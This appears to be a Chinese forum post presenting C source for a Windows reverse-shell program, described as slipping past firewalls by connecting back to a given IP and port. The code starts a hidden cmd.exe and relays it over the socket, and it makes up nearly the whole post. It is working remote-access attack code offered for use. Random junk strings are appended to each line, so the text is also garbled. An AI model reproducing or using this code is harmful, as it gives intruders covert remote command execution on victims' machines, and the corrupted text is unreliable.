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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 /6p7 k  
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/* ============================== QWK\6  
Rebound port in Windows NT }h\]0'S~J~  
By wind,2006/7 4&E &{<;  
===============================*/ p,#**g:  
#include e&=T`  
#include 5U/C 0{6  
p%CcD]o  
#pragma comment(lib,"wsock32.lib") y~+U(-&.  
Y!CGuLHL`[  
void OutputShell(); })ic@ Mmd$  
SOCKET sClient; $ ?YSAD1  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; %XZdz =B  
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void main(int argc,char **argv) a]R1Fi0n  
{ lQer|?#  
WSADATA stWsaData; k #/%#rQM  
int nRet; s|C4Jy_  
SOCKADDR_IN stSaiClient,stSaiServer; EA!I& mBq  
\H.1I=<  
if(argc != 3) c(!{_+q"  
{ 5E\&O%W"  
printf("Useage:\n\rRebound DestIP DestPort\n"); ixo?o]Xb`  
return; Qx[ nR/  
} C.{z+  
n0=[N'Tw3  
WSAStartup(MAKEWORD(2,2),&stWsaData); j;i7.B"[  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [moz{Y  
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stSaiClient.sin_family = AF_INET; GvD{I;  
stSaiClient.sin_port = htons(0); 1;y?!;FD  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); OW8"7*irT  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) e/V8lo  
{ GAcU8  MD  
printf("Bind Socket Failed!\n"); {@`Z`h" N  
return; +8q]O%B   
} [d,")Ng  
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stSaiServer.sin_family = AF_INET; -$_h]x* W  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); WiclG8l  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 8{J{)gF  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) VtC1TZ3-7  
{ ;/.XAxkFL  
printf("Connect Error!"); AP_2.V=Sn  
return;  k/}E(_e  
} a$'= a09  
OutputShell(); Wq]Lb:&{a  
} -OV!56&  
hKYA5]  
void OutputShell() JGKiVBN  
{ rz3!0P!"K  
char szBuff[1024]; )]C7+{ImC  
SECURITY_ATTRIBUTES stSecurityAttributes; I:%O`F  
OSVERSIONINFO stOsversionInfo; >gTrui{ ,  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; mkOj&Q  
STARTUPINFO stStartupInfo; 9DP6g<>B  
char *szShell; ,Q8)r0c  
PROCESS_INFORMATION stProcessInformation; fu?Y'Qet  
unsigned long lBytesRead; RzLbPSTQ  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ] 6rr;S  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); $^4URH  
stSecurityAttributes.lpSecurityDescriptor = 0; C@L8,Kj ~.  
stSecurityAttributes.bInheritHandle = TRUE; GT} =(sD L  
X(ZouyD<  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Y!|* `FII  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); @I^LmB9*  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); rwUKg[ 1N  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2,O;<9au<  
stStartupInfo.wShowWindow = SW_HIDE; Lg[_9 `\  
stStartupInfo.hStdInput = hReadPipe; h tn?iLq  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ]OKs 65  
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GetVersionEx(&stOsversionInfo); P I0[  
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switch(stOsversionInfo.dwPlatformId) %XieKL  
{ 71ctjU`U2  
case 1: ?`%)3gx|  
szShell = "command.com"; jP9)utEm6  
break; [EETx-  
default: A12#v,  
szShell = "cmd.exe"; Pe_iA_  
break; A<zSh }eh6  
} =c,m)\u/8  
|tU4(hC  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); J `8bh~7  
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send(sClient,szMsg,77,0); 3,cZ*4('d  
while(1) lJloa'%v9  
{ iCYo?>  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ^Pk-<b4}  
if(lBytesRead) E|jbbCZy2  
{ CYZx/r<  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ?=;dNS@i@  
send(sClient,szBuff,lBytesRead,0); OJL?[<I  
} /M;A)z  
else MR@*09zP(?  
{  OBCRZ   
lBytesRead=recv(sClient,szBuff,1024,0); 4M&6q(389  
if(lBytesRead<=0) break; M"eiKX  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ytXXZ`  
} 4EiEE{9V  
} N| dwuBW  
[p+6HF  
return; e!67Na0X(  
}
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